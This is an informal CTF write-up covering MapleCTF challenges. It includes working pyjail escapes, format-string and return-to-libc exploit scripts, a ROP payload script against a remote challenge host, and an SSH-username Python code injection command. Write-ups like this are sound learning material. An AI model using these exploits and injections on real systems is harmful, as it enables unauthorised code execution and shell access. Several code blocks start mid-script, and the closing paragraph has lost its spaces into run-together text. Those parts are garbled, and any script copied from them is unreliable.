note that the regex pattern is common punctuation and the brute forcer is only leetspeak characters
plain brute forcing using this method was still too slow though, but when i was racking my brain out i looked at the output and realized some of the words i can actually fill it in by myself
such as when i see `n unnece`, i thought it most likely would be `n unnecessary`
so i wrote YET another tester
```py
x = xor(int_to_bytes(int(lines[0], 16)), int_to_bytes(int(lines[7], 16)))
test = xor(x[12:], b'n unnecessary')
print(test)
```
and LMAO it actually is right i got `maple{ctr_1s_` which is standard leetspeak
so i just repeated this process of generating more strings using the search func that look like i can complete the word, complete the word myself, verify with the tester, and then put it back into the search func
and after 2 hours of work i finally got the flag `maple{ctr_1s_g00d_bu7_d0n7_r3p347_n0nc35}`
### pyjail
pyjail 1 was braindead easy - since they only have a really limited list of things you cannot do, we can just do `import os; os.system('ls')` and run basically every shell cmd on it lol
first thing i did ofc was to do reconnaissance - ran some `ls` to see where the flag might be
the flag file was in multiple directories - `secret/flag/topsecret.txt` was the location
and the its just a `cat secret/flag/topsecret.txt` and voila lmao `maple{welc0m3_to_the_w0rlD_oF_cod3_j4ilz}`
### pyjail 2
now this one is more challenging - it banned even the reflective operations which largely relies on `_`, and has a 50 char limit, so i had to squeeze a lot of characters out
its also unlike HKCERT CTF's pyjail since `_` is completely banned, but i know we can use string escape sequences `\x` since ive read up on it
(side note it only took me ages coz i thought it was in the same path as pyjail 1 which was `secrets/flag/topsecret.txt` which takes up a lot more chars than `flag.txt`)
i initially thought of getting `exec()` and `input()` functions to call them, but they ended up too long (`vars(list(globals().values())[6])['\x65xec']()` is alr needed to get just exec func)
but then i realized no wait i can just use open the normal way and reflect read instead
and so after a while i finally got the cmd `print(getattr(open('fla\x67.\x74xt'),'\x72ead')())`
and ey `maple{pyth0n_0n3_lInerz_UwU}`
### hijacked
ofc the first thing i tried was searching the flag in the file directly - if i remembered correctly that was the most braindead thing in HKCERT CTF lmao
good thing this time the flag is not there right in a hex editor, so i proceeded to look at HTTP requests
i dont have wireshark on my laptop, so i used tcpdump, but theres not much detail i can spot well so i used ngrep instead
i noticed some weird calls to ix.io, along with funni meems like `GET /?q=blend%20in%20with%20humans%20wikihow` ok lmao
all of the ix.io files /3MDU /3MDT /3MDR /3MDS are all visibly lat lon coordinates and elevation
and i noticed one of the request is to https://www.topografix.com/GPX/1/1/ so it definitely is lat lons
first thing that came to mind right after that is how the coordinates feel like they are tracing the flag with the sharp turns and stuff, so i went to work generating a gpx file for online viewer
i went on https://en.wikipedia.org/wiki/GPS_Exchange_Format, looked at the sample, and made a regex to generate the track data as xml format (read `([\-0-9.]*) ([\-0-9.]*) ([\-0-9.]*)` replace ` <trkpt lat="$1" lon="$2">\n <ele>$3</ele>\n <time>2009-10-17T18:37:26Z</time>\n </trkpt>`
then i copied the headers and footers from the wiki sample to finish the file off
i think the time being all the same broke https://gpx.studio/, so i went to another one https://www.gpsvisualizer.com/ which worked flawlessly
one last thing was figuring out whether the 0s are `0` or `O`s - i just guessed that they are 0s due to leetspeak and ey got it `MApLE{mISc_bAc0n_Fr0M_0utER_SpAc3}`
### uwu intewpwetew
by far my fav chall so far lmao its the just right amount of difficulty and is quite ingenious
i first went and looked in the src and i realized something is wrong in the interpreter: for `owo` inst, the guard was in the wrong direction `if (pointer > DATA_LEN) {` - since we are `pointer--`-ing the guard should check if pointer went out of bounds using `< 0` instead
so now that i know i can read and write to any of the memory locations (provided that i dont go over the char limit of 100 bytes) that is before the pointer counter location i went to work looking at if there are any return addresses that i can utilize on the stack
yep there it is right there at the stack view in IDA when i was breakpointed at `@w@` with the only `vuln+xx` shown - it is the return address for printf
through breakpointing at every `@w@` call after `owo` i realized i only need 10 `owo`s to decrement it to the printf return address on the stack (each decrement is 4 bytes), which is really good, so i started experimenting with modifying the address value
i originally used `QwQ` to decrement it to `win()`'s address since looking at esolang that is the only one thats implemented and useful, but that would require me to make hundreds of repeating `QwQ`s (iirc 407 or so) which is impossible without breaking char limit
but then i realized `>w<`'s implementation in this chall is different - it writes an entire 4 bytes instead of 1 char, so i started thinking if i can actually grab the original address (ASLR so i cannot hardcode) and then do a subtraction to `win()`'s address
in the process somehow the returned lower portion of the address was different in hex than the one in IDA debugging - it was off by 787 or so (in decimal) but it doesnt matter much since its always off by that amount
so i factored that in, and also subtracted the return address with the `win()` address, and finally came to the value of `-244` in decimal
to grab everything i need, i just did `owo owo owo owo owo owo owo owo owo owo @w@ >w< @w@` to print the address value at the stack, subtract that value specified in `data: ` by `244`, enter that subtracted value into `>w<`'s input, and `@w@` to trigger the return to the address modified
viola `maple{nyo_wespect_fow_boundawies}` right before segfault as i modified the return so stack frame is broken
### pyjail 3
i am actually braindead on this one
i noticed i cant use `getattr` like i did in pyjail 3 anymore, so i thought hm maybe its actually time to try out a way to do `exec(input())` so i get no restrictions anymore
but after an hour i only went from `vars([*globals().values()][6])['\x65xec'](vars([*globals().values()][6])['\x69nput']())` to `locals().update([['a',[*vars([*globals().values()][6]).values()]]]) or a[20](a[28]())` to `locals().setdefault('a',[*vars([*globals().values()][6]).values()])[20](a[28]())` which is still 30 chars above limit
i really wanted to shorten that since its a really powerful line of code that i might be able to use in other pyjails but it feels like i was at a deadend
so i just went back to the drawing board and looked at `open()` again
after poking around with running `print(vars())` and stuff i noticed open in text mode has a `buffer` field, which has a `peek()` function that is not banned but does the same thing as `read*()` which is banned
but when i try to do that it for some reason throws `ValueError: peek of closed file`
so after trying to debug if its my file system's problem i just went to try other modes instead and used `rb` which returns a `bufferedreader` directly
and bruh `print(open('fla\x67.\x74xt','rb').peek(100))` works flawlessly
so yea if i used that method in pyjail 2 i couldve solved it in 3 seconds lmao
anyway flags here `maple{Did_u_kn0w_that_d0lph1ns_sl33p_with_one_eye_open}`
### baby pwintf
this one is a standard printf format string overwrite, but i still had no idea what i was doing lmao
i did the usual `%p%p%p%p%p` stuff to try to get some idea of what it is, before realizing it only accepts 10 bytes of input
so theoretically the rating pointer would also be in there somewhere since its not that far up the stack but i cannot find it anywhere near the rbp in IDA stack view (i genuinely think stack view is kinda broken coz every single chall i see different values than what i can gather lmao)
so after some more smolbraining i eventually plugged the pointers i got from the format string into IDA to see heap data and lol the first pointer is already the rating pointer
so i attempted to write to it using `%.4919d%n`, where 4919 = 0x1337 and `%.4919d` prints 4919 characters for plugging its length into `%n` which writes to the non existent variable which is just a stack pointer
but it segfaulted - `%.4919d%n` seems to not be writing to the right pointer as i expected using `%p`
so i ended up just trying out all the offsets before landing on one that sets the rating to `0 / 10` instead of `4 / 10` due to `%` being the first char and hey `%7$n` worked flawlessly
now that i see it i recall seeing other ctf writeups using `%7$n` too but i still cant point my hand to why that is
i suspect its due to `%n` not being QWORD aligned but instead works on byte to byte basis but i honestly have no idea
anyways then i just did `%.4919d%7$n` and it works like a charm so here the flag is `maple{youwe_weady_fow_the_big_boy_chawwenge}`
26/01/2022 15:20 EDIT: after doing a lot of printfs in pwintf, i realized %7$n is because it was popping registers before accessing stack so to access ratings on the stack we gotta go through them first
### 3d
this one took probably the longest out of all challs ive solved so far ngl
had to get a direct understanding on how every single component worked
not to mention the offset table screwed up hexrays decompilation so i couldnt get a high level overview and had to reverse instruction by instruction
either way rant over heres how i did it
so as usual i opened it in IDA and looked at how the main func worked using the decompiler
upon digging, the input is not directly related to the flag - it is only a password for decrypting the AES encrypted flag, so i cannot test it with `maple{`
there is a loop that checks 3 values, `dword_3220` (hereby renamed `must_be_7_1st` and `mb71`), `dword_3224` (hereby renamed `must_be_0` and `mb0`) and `dword_428C` (hereby renamed `must_be_7_2nd` and `mb72`), which only moves on when all 3 values are 7, 0, and 7 respectively (hence the names i gave them)
so i looked at the if clause inside the loop and realized `sub_166B` returns zero and terminates the program using `sub_1741` when given invalid input, and upon further digging (code block before first `ja`) they only accept the input `[a-w]{0,26}` (in regex, 26 since `fgets` only reads 26 characters), so i just tried to spam random input in that range to see what happens in the debugger
but somehow it is still jumping to return 0, which prompted me to analyse the code block right after the `ja`:
```asm
mov eax, eax ; no op - apparently missed optimization
lea rdx, ds:0[rax*4]
lea rax, offset_table_2010 ; load offset table for calculating which offset to use
mov eax, [rdx+rax] ; calculate which offset to use based on lea rdx, ds:0[rax*4] and store the offset in eax
cdqe ; extend to rax for calculation
lea rdx, offset_table_2010 ; load offset table again
add rax, rdx ; load branch address offset from offset table by value specified in offset table
db 3Eh ; jump to address
jmp rax
```
and here is the offset table:
```text
7A F4 FF FF 8B F5 FF FF 8B F5 FF FF EE F4 FF FF
58 F5 FF FF 8B F5 FF FF 8B F5 FF FF 8B F5 FF FF
8B F5 FF FF 8B F5 FF FF 8B F5 FF FF 8B F5 FF FF
8B F5 FF FF 8B F5 FF FF 8B F5 FF FF 8B F5 FF FF
25 F5 FF FF 8B F5 FF FF B4 F4 FF FF 8B F5 FF FF
8B F5 FF FF 8B F5 FF FF 40 F4 FF FF 50 61 73 73
```
which actually corresponds to only 6 valid inputs with the rest jumping to return 0 after some calculations using the offsets and the address of the table upon more digging
with that knowledge, i started mapping what branches does what - and i quickly realized each branch adds and subtracts each of the 3 values respectively
by mapping the offset table to the branches, i thought running `w` once and `q` 7 times will set the values correctly, being blissfully unaware of the top code block of each branch that checks whether branch can be executed (i kinda saw that coming if it was that straightforward there would be multiple AES keys which shouldnt be the case, but tried to ignore it coz it would mean more pain lmao)
and of course the branches didnt execute as i thought - the values were unchanged when i ran with the password
so i bit my lip and marched on, mapping the code block that is responsible for handling the testing and noticing another pattern (this is branch 5, aka `w`):
lea rdx, value_table_3020 ; grab value table ptr for calculating which value to use
movzx eax, byte ptr [rax+rdx] ; offset value table ptr by result of call and get the value to use
movzx eax, al ; retain only lower 1 byte of eax
and eax, 10h
cmp eax, 10h ; see if bit 5 is set
jnz short loc_15AE
```
and finally with that info i was able to map exactly what input does what
```txt
w - FFFF F440 - must_be_0 -1 - up 8 bytes - req bit 2
a - FFFF F47A - must_be_7_1st -1 - up 1 byte - req bit 3
s - FFFF F4B4 - must_be_0 +1 - down 8 bytes - req bit 1
d - FFFF F4EE - must_be_7_1st +1 - down 1 byte - req bit 4
q - FFFF F440 - must_be_7_2nd +1 - down 64 bytes - req bit 5
e - FFFF F558 - must_be_7_2nd -1 - up 64 bytes - req bit 6
```
side note - the 3 values can never be negative as the function just value++ again right after subtraction if that happens, as i noticed with the comment `loc_15B2: ; looks like a bunch of negative checks`
looking at how the inputs resemble a game, with `wasd` keys and `qe` for jumping, its more and more evident that the value table itself is basically a maze of sorts - which means good ol `cpsc 110` graph searching is gonna be once again very helpful :upside_down_face:
as i really did not want to write yet another searcher, i tried to manually traverse the maze myself, but gave up after reaching 2 or so dead ends
so yea eventually i had to give in and just write a script to search the tree for me:
if ptr in visited: #we dont want to revisit - might block solution if it somehow increments value but is significantly faster
return
curr = tbl[ptr] #current value as defined by sub_12A9 for ptr
#print('path', path, 'curr', hex(curr))
visited = visited + [ptr]
step+=1
if curr & 0b10: #branch 1, up 8 bytes
newmb0 = mb0 - 1 if mb0 > 0 else mb0 #cannot go negative as defined in loc_15B2
#if len(path) <= 0 or path[-1] != 's': #ignore useless going back - prob should exempt zeros tbh
newpath = path + 'w'
move(step, newmb0, mb71, mb72, newpath, visited) #have to put move in each if to branch the tree
if curr & 0b100: #branch 2, up 1 byte
newmb71 = mb71 - 1 if mb71 > 0 else mb71
#if len(path) <= 0 or path[-1] != 'd':
newpath = path + 'a'
move(step, mb0, newmb71, mb72, newpath, visited)
if curr & 0b1: #branch 3, down 8 bytes
newmb0 = mb0 + 1
#if len(path) <= 0 or path[-1] != 'w':
newpath = path + 's'
move(step, newmb0, mb71, mb72, newpath, visited)
if curr & 0b1000: #branch 4, down 1 byte
newmb71 = mb71 + 1
#if len(path) <= 0 or path[-1] != 'a':
newpath = path + 'd'
move(step, mb0, newmb71, mb72, newpath, visited)
if curr & 0b10000: #branch 5, down 64 bytes
newmb72 = mb72 + 1
#if len(path) <= 0 or path[-1] != 'e':
newpath = path + 'q'
move(step, mb0, mb71, newmb72, newpath, visited)
if curr & 0b100000: #branch 6, up 64 bytes
newmb72 = mb72 - 1 if mb72 > 0 else mb72
#if len(path) <= 0 or path[-1] != 'q':
newpath = path + 'e'
move(step, mb0, mb71, newmb72, newpath, visited)
#starting data of must_be_0, must_be_7_1st and must_be_7_2nd
move(0, 1, 7, 0, '', [])
```
it is uncanny how many mistakes i made while writing that script (*coughcoughforgettingtosetanewvarforeachbranchandfailingbeforecheckingsuccesscoughcough*), thats why it took me ages
but hey in my defense it was also 6am and ive been working on this for 2 hours already
anyways it generated a single solution out as i hoped (`sqasasaaawwqqqqdqqwdedddwq`) in the end, and hey when i plugged that password in there the flag is `maple{aMAZE1ng_job!11!1}`
### spinning around
LMAO holy the method i solved this is probably way more braindead than the expected one
i really dont wanna trace the code flow through ida to deobfuscate the data so i originally tried to decompile and recompile all the code so i can trace it easier with prints and stuff
but after a while it was getting really tiring coz im not sure about how to clean certain certain things (namely ptr arithmetic in IDA) into correct c++ code so it was segfaulting a lot
so i kinda just gave up on that
but then i was thinking hm since the process is iterating through characters and terminating right when it hit the wrong character (prints found but expected msg and exits) anyways if i can just find a way to count the loop i know up until exactly which char the flag is correct
so i can just write a brute forcer to set characters according to the count!
i chose pwntools and gdb coz it feels the most straightforward to me for scripting a debugger like that, so i started setting them up with a python script
after a lot of setup headaches ~~mainly due to me being dumb~~ with using the wrong pwntools feature and scrambling to find a working gdbserver and then finding all the wrong ones, i finally got the script setup:
io.sendline('set args ' + flag + c + 'a'*(49-len(flag)))
io.sendline('start')
io.recvuntil('Temporary breakpoint')
io.recvuntil('\n(gdb) ')
io.send('continue\n')
while True:
end = io.recvuntil('\n(gdb) ')
if 'exited with code' in end.decode('utf-8'):
break
count+=1
io.send('continue\n')
print(c, count)
if count == len(flag) + 2:
flag += c
io.close()
break
io.close()
```
and LMAO it actually works
well that is until the chars after `maple{r0t4ting_unb4` - since i used a as placeholders and i was checking count == instead of count >=, since the flag was `unb4la` when i got `l` it counted 22 instead of 21 and ignored it
but eventually i manually spotted it in the prints and i just replaced the flag and continued generating
and voila `maple{r0t4ting_unb4lanc3d_tr3es_4r3_v3ry_very_fun}` with the dumbest method ive used to retrieve a flag LMAO
literally did nothing related to rotating unbalanced trees KEK but in my defense my solution is also *spinning* around with loops xd(???)
### pwintf
holy fucking shit this has been the worst chall ive done BY MILES
it has like way too many pwn elements - rop (using pop gadgets to shift `RSP`, but more accurately just using existing codes to my advantage coz i only used 1 single gadget lol), return to libc (literally calling system and providing arguments), and format string of course
ive been working on this on and off for like 2 days (tbf it was partially coz of schoolwork being in the way) but yea i dont even remember much from when i started attempting this chall anymore lmao
all i know is that ive stumbled upon countless roadblocks along the way which did not help at all lmao
from what i still remember i first started by checking IDA and mapping the pointers im getting through `%<>$p` to libc functions and then getting the offsets to guess the libc version to get system offset (COZ I DID NOT REALIZE LIBC WAS LITERALLY PROVIDED)
after looking at some patterns that looks like it matches the libc i was testing on and also doing some trial and error on function alignments (since the leaked addresses are offsets that mightve changed) i went on libc-database to see and ey i got a hit `libc6_2.31-0ubuntu9_amd64`
*funnily enough i realized i guessed exactly correctly later on lmao*
i then tried to utilize this knowledge to overwrite things - namely the good ol GOT since its the most convenient to deal with
but i reached a problem that only exists with 64bit binaries: since we are using 64bit, but since the width specifier is integer we cannot overwrite more than 8 lower bytes of each stack value, and even if we can its gonna take eons to finish printing
after some painful looking i finally found a way to modify GOT even with this restriction (iirc through double referencing, which is a predecessor of the method im gonna write about below, but it relies too much on how the stack is laid out with what data (in context the pwintf binary only had 1 set of ptrs to do exactly just overwriting GOT and nothing else) so im not gonna detail it here)
and then with this newfound knowledge i started trying to overwrite GOT to change printf ptr to system so i can pass `/bin/sh` to it on next loop
but haha guess what the remote server does not have the same stack which means i cant use the exact set of ptrs i found WHICH MEANS I GOTTA GO BACK TO THE DRAWING BOARD
so after another few hours in crawling the web that apparently only have 32bit format string exploits which does not have the concern of 64 bit, i eventually figured out myself how to arbitarily overwrite addresses:
but through using 1 pointer on the stack that references another pointer on the stack that also points to another stack location, i can write non aligned stack addresses through `%n` on the first ptr that modifies the second ptr to point to an empty location or a location i gotta rewrite, then through second ptr, write arbitrary values without alignment constraints to the third address since i can just add any number during my write to second ptr through first ptr
basically the flow is as follows:
- figure out what stack addresses above `RSP` references another stack address that is also stack ptr
- lets say ptr1 is at `%10$p`, ptr2 is at `%20$p` and ptr3 that we are interested in is at `%30$p`
- utilize ptr1 to change ptr2 through `%10$hn` to overwrite 2 bytes or `%10$n` to overwrite 4 bytes to point to some location we are interested in (e.g. return address before `RSP`, or any convenient values that only requires modifying the lower parts) - usually only 2 bytes is enough since we are modifying close locations
- we then use `%20$p` to overwrite the value at the stack address that we wrote above, repeating step 2 with ptr3address + 2, ptr3address + 4 ... if needed
- we will end up with a fully overwritten value at ptr3 that we can then reference again using `%30$p`
and now i can finally try GOT on the server
but HAHA GUESS WHAT ITS FULL RELRO WHY DID I THINK SEGFAULTING LOCALLY WAS A BUG dude i was actually trolling here
wasted a whole hour retrying this route lmao
after this i also tried to return to heap to execute shellcode on the off chance it would succeed, but haha nope NX is enabled so
so i tried to change my strategy to do return to libc using the printf return address instead
and after like 2 hours i finally figured out the process to return to libc which involves using a gadget of pops chained before returning so i can return to libc without crashing as i need multiple writes to change return addr to system since i still didnt understand how to do multiple writes in a single line (actually i still dont think it is possible as my triple referencing technique cannot be executed at one go as the stack values get mov'd onto registers first so even if i change the stack value later references wouldnt have their values changed)
so now i am finally in libc
but the question is how tf do i pass the argument to it
i noticed system uses `RDI` as argument, and `RDI` (***at that moment i swear***) was `.bss:bss_start`, so i was like hm wait i can write to bss since its RW
so i went to work on that
haha lul guess what since bss_start is referenced after printf normal return somewhere and it segfaults if i change it i have to learn how to execute multiple format string changes anyway as im passing a "huge" string `/bin/sh` which is like 4 tries
EVENTUALLY i figured it out (kinda) with the help of (funnily enough) a writeup from maple bacon themselves (https://ubcctf.github.io/2019/04/encryptctf-2019-pwn4/) which details on how to ignore overflowed bytes but then i realized it still wont work coz i need more than 1 pair of ptrs for triple reference as i explained above in how stack values wont get updated in a single format string
BUT HAHA GUESS WHAT AGAIN OF COURSE BSS_START NEVER WAS IN `RDI` AGAIN IDEK WHERE I SAW IT
it is now `debug002:_IO_stdfile_1_lock` which honestly makes more sense than bss_start coz its used in printf for threading
so aha now i have to change my process AGAIN namely to see if the lock is consistently there and good thing it is and also cross versions too
thank god the lock is writable (ofc) and so i just used the same stack modification technique to write to the lock the string `sh` to pass as argument
its kinda funny since when it returns printf just decrements 1 from `sh` to be `rh` coz it releases the lock but thats easily fixable changing it to `th`
either way after ages of tinkering i finally got a working script locally on the libc version i was testing on (at this point i finally realized libc was provided but i didnt think much about it)
but haha of course when i try it on the server everything goes haywire and segfaults
so i had to write A LOT of sanity checks to verify if the pointers get overwritten correctly, the stack locations are right, and the pointers are referencing correct data and codes
i realized the `system` offset was off for some reason on libc-database so i changed it to that in the libc i downloaded from libc-database and disassembled, but the worst part is when i fixed it EVERYTHING is right and yet it still is segfaulting, and i was honestly out of ideas at that point
but then a thought came to my head - what if i can link the libc they provided instead of the version i was testing on and see if it segfaults
i didnt really think about it before, nor did i know it was possible, but `LD_PRELOAD=./libc.so.6 maplectf2022py/bin/python3 pwintfpwn.py test` did the job and it segfaulted
i dont think IDA server can pass environment variables like that (or can it? idk didnt really test thoroughly) so i just started it with pwntools and the give a delay for me to attach IDA manually
it also has an added benefit of being able to automate input too
but yea through that i finally realized whats the actual problem - the pop chain resulted in a non 16 byte aligned `RSP`, which means the `movaps` that is only in the system func in the libc ver they used segfaulted due to that (https://stackoverflow.com/questions/67243284/why-movaps-causes-segmentation-fault)
which means i just gotta pop 1 less register to shift RSP down back to aligned and use a less convenient stack address instead which was not really a big deal
and ***FINALLY*** i got the flag `maple{h0p3_1t_d1dnt_t4k3_l0ng}` which was literally laughing at my face at this point :sob:
and here is the final `printpwn.py` for automating the shell
print('[*] CHECK: this value should be popchain addr', s.recvline())
s.sendline('%9$s')
print('[*] CHECK: this value should be same as', b']A\\A]A^A_\xc3ff.\x0f\x1f\x84\n', s.recvline())
#overwrite different random stack address to reference ret on stack - apparently its not updating if this is run in the same format string with the patching, prob due to stack alr being mov'd into register
lp = ret_stack & 0x0000ffff #since it is the same aside from the lower 4-5 bytes we only need to overwrite that
fmtstr = '%.' + str(lp) + 'u%13$hn' #%29$p is a pointer to %43$p
print('[+] pointing %41$hn to ret addr on stack', fmtstr)
s.sendline(fmtstr)
s.recvline() #discard
#sanity check
s.sendline('%41$p')
print('[*] CHECK: this value should be the same as ret addr on stack', s.recvline())
s.sendline('%41$s')
print('[*] CHECK: this value should be within .text', hex(int.from_bytes(s.recvline(), byteorder='little')))
#have to do the entire string of printfs together coz bss_start causes segfault if the program continues running #not using bss_start anymore but this still works
uw = int.from_bytes(b'th\x00', byteorder='little') #/bin/sh too long - system should be able to recognize this anyway - also for some reason the first byte gets decremented coz of the lock probably
#overwrite return address to pop chain for popping closer to libc
lw = popchain4 & 0x0000ffff
lw = lw - printed if lw - printed > 0 else lw + 0x10000 - printed #let it overflow since byte 5 onwards is discarded #no need anymore since uw is small
fmtstr += '%.' + str(lw) + 'u%41$hn'
print('[+] overwriting io stdfile lock, and pointing ret stack addr to popchain with', fmtstr)
s.sendline(fmtstr)
s.recvline()
s.interactive() #give back control after exploit
s.close()
```
### wetuwn owiented pwogwamming
this one is actually probably beginner rop - its just finding the return address, and building a rop chain on top; tbh i feel like its not worth 250pts lmao
its just finding a good return address on the stack that we can access, write garbage until we reach that, and start chaining the rop gadgets above that
it even kinda "guides" you from easy (chaining A and B in the correct order) to harder (passing argument to C using `pop rdi` gadget)
the only tricky part for me was passing the argument - for some reason i brainfarted so hard and thought push is the one that stores stack value in register so i was trying to find other ways to pass the argument (like writing to RBP's ptr but it got overwritten as expected)
another problem that is kinda unrelated to the entire thing is how no debuggers seem to want to debug the program when its opened by pwntools so i ended up having to nc it, attach debugger then run the pwn script lmao
anyways heres the flag `maple{w-wop_is_pwetty_coow}` and the script:
s = remote('wetuwn-owiented-pwogwamming.ctf.maplebacon.org', 32018)
#payload chain goes down due to endbr64
payload = p64(0x40126D) #A
payload += p64(0x40128B) #B
payload += p64(0x4013c3) #pop rdi to set argument
payload += p64(0xDEADBEEF) #set the actual argument for popping
payload += p64(0x4012B4) #C
payload += p64(0x4011D6) #win
#0x80 until return address - we build beyond that
#entire string is passed to C as argument so we can just put deadbeef at front
s.sendline((b"A" * 0x78) + payload)
#for some reason argument is reading the top 8 bytes? not questioning
#also ebp is set on leave as the value above current RSP at vuln endp thats why we put the argument there
print(s.recvall())
```
### whats up sys?
lol once you realize you just gotta overwrite the syscall id to write instead of exit in `getFlag()` its over lmao
well i guess you also have to realize `overwrite()` only overwrites a byte worth of data pretty much coz it uses `dl` register
which i didnt and was trying to write to the entire instruction for whatever reason lmao
but yea basically just enter `1572` which is the offset of `0x3C` at `mov edi, 3Ch`, then enter `1` for the syscall id (`write` to file descriptor 1 aka `stdout` the contents of fgets'd string)
and voila `maple{W1ck3D_5h0oT1N9_C4pT41n!}`
i forgot how easy some of the <200pts challs are lmao
### **ARISTA** challenge
holy shit i didnt think i would actually be able to finish this chall lol i was so lost when i started it
but i didnt realize i was actually this close before giving up i was on the right track
part of it is because i didnt expect it to be yet another pyjail in disguise tbh lmfao
anyways here is the entire recall from day 1 to day 7 of my attempts from what i still remember
* * *
when i first started doing the challs on day 1, of course i was really tempted to grind this chall since it was by far the highest pts of any chall that was released at that point (400 vs <200~250), so i started digging into it
i saw the binary `py_auth`, and decided to dig into it instantly (at this point there was no hints on how to solve the chall aside from a single ip given)
so after some preliminary analysis, i realized it is an embedded python application that does a really weird `startAuth` call that does nothing but print the username, and that the escape function was extremely inadequate since it only escaped backslashes
so of course i started to do some SQL-injection like tactics with python code to try to run arbitrary codes, and ey not long after i got the string `e')#` which i can put arbitrary code between `)` and `#` to execute (note: notice how i have to use multiple lines of code with `;` and how i have a `e` at this point - this will be important when it comes to day 7 progress)
so i know how there is a live system with an ip, and how this looks like a pyjail problem, so i deduced that there should be something similar to an nc endpoint that i might be missing
but of course there aint - the port is not shown, not to mention after nmapping for ages i only found `ssh` port being open (note: this will show up again on day 2 progress)
so after asking the organizers if this was intended, which they clarified it was, i kinda gave up coz i cannot seem to find anything thats problematic with the ssh endpoint after some preliminary poking around aside from it using `keyboard-interactive` mode (note: another important thing in day 2 progress)
i reasoned that ssh is one of the most important things of a server and is usually extremely secure, so that must not be what i have to poke around on (note: lol how wrong)
so i went back to the py_auth app to dig around and see if theres any useful data, and after a long time i concluded there was no way there would be any
i also annotated pretty much everything in the main function just as a sanity check that im not missing something:
```cpp
int __cdecl main(int argc, const char **argv, const char **envp)
and so with that i gave up for the day and moved on to other challs
* * *
day 2 - i was working on other challs (funnily enough it was pyjail 2) when i saw a ping in the announcement channel on discord: a new series of challs got announced, along with a hint for this chall:
- it is confirmed that ssh is the correct thing we should tackle
- it is related to an arista EOS (note: this did more harm than good as you will see as i progress)
so i went right back to this chall after finishing what i had on hand, and this time i actually noticed something new: the ssh username checker returns `\`s as `\\`s in the username whenever i type that in, which is SUSPICIOUSLY like the escape function i saw in `py_auth`
so i reasoned that the username actually runs something similar to `py_auth`, and i got to work trying to use the methods i did ACE on `py_auth` with
but a few hours passed and i did not get any progress beyond realizing it is a possibility that when i input something that has invalid python code it would instantly return `Permission denied` instead of the usual 3 password prompts first (note: why it doesnt work will be explained in day 7, and its related to my first note about `e')#`)
since i had no way to tell if im even on the right track, and with the amount of time ive wasted on this, i gave up and did other challs instead especially considering how other teams were catching up already
and this went on for pretty much the entire week - we were neck to neck with the second place most of the time, and with weekend being over and school starting again, i had no time to go revisit this chall which i deemed quite impossible to solve at that moment
and this brings us directly to day 6 night
* * *
day 6 night - we have basically cleared all of the challs, and we were looking for ways to secure our position as the 1st so we decided to revisit arista along with other seemingly impossible/too time consuming challs
it still felt quite futile, but my teammate actually thought of some of the things that i hadn't thought about, which is that it might be crucial that there is only effectively a single line of code which is the `startAuth` call and nothing else (note: this actually solved 1/2 of the problems i had with my old `py_auth` exploits, namely the `;` being rejected by instant permission deny)
so we went ahead and derived methods to call methods while still technically being a single function call - this is where i got my `.format` method idea, along with making a huge list comprehension `[i for i in range(10000000)` in place of `import time; time.sleep(5)` to verify if our code is running since we cannot get any form of text output
just like day 2 though, we were getting nothing but weird `Permission denied` and useless password prompts, which made us pretty much give up again
which brings us to right now, day 7 midnight where i was just gonna test some more things out before heading to bed
* * *
day 7 midnight - after having unnecessarily tough luck with birb (i got the exploit working locally with multiple libc versions (had to fix movaps stack alignment just like in pwintf) but it is still dying on remote for some reason), i decided to revisit arista for possibly the last time instead
while i was tinkering with the exploits i had, since i was quite convinced it was related at this point with how its named and all the weirdness i noticed before, i actually got a entirely new prompt that ive never seen - instead of prompting for just password, it now also prompts for username when i input `')#` instead of `e')#`
my reasoning is that the former string results in an empty username, which makes the auth ask for username again, but when i pass just an empty string as username i just get permission denied so im not sure
maybe its due to some other username checks before the python codes but thats not quite important
the important part is that now i got a concrete response that i can move on to - and so the first thing i tried was the things i discussed with my teammate yesterday
and EY `ssh -l "'.format([iforiinrange(100000000)]))#" 54.215.139.152` actually waits for an unusually long time verifying my code is actually running
so forcing the username prompt to show up seem to be a must for codes to run
and now the only thing thats left is to obtain a shell somehow - and my pyjail knowledge from HKCERT CTF is now flooding back
so i tried multiple things from `exec()` (which doesnt work well coz its python 2), `open()` (which idk what to open in the first place anyway) and finally to "reflective" features of python like `__builtins__`and `__import__`
i hit some roadblocks along the way, but it was relatively easy to solve by first testing with `python2 -c "print('<teststring>')`togetsyntaxerrors,then`./py_auth<teststring>`tofilteroutthingspython2missed,thenfinallysshtoseeifitstillshowstheusernamepromptasifitsrunningnormally
butthenirememberedsomeoneactuallygotherebeforemeandevenlefta`hello.txt`asan"i was here"noteLMAOsowhynotcheck`.bash_history`of`/root/`sinceitprobablywouldvesavedtheircommands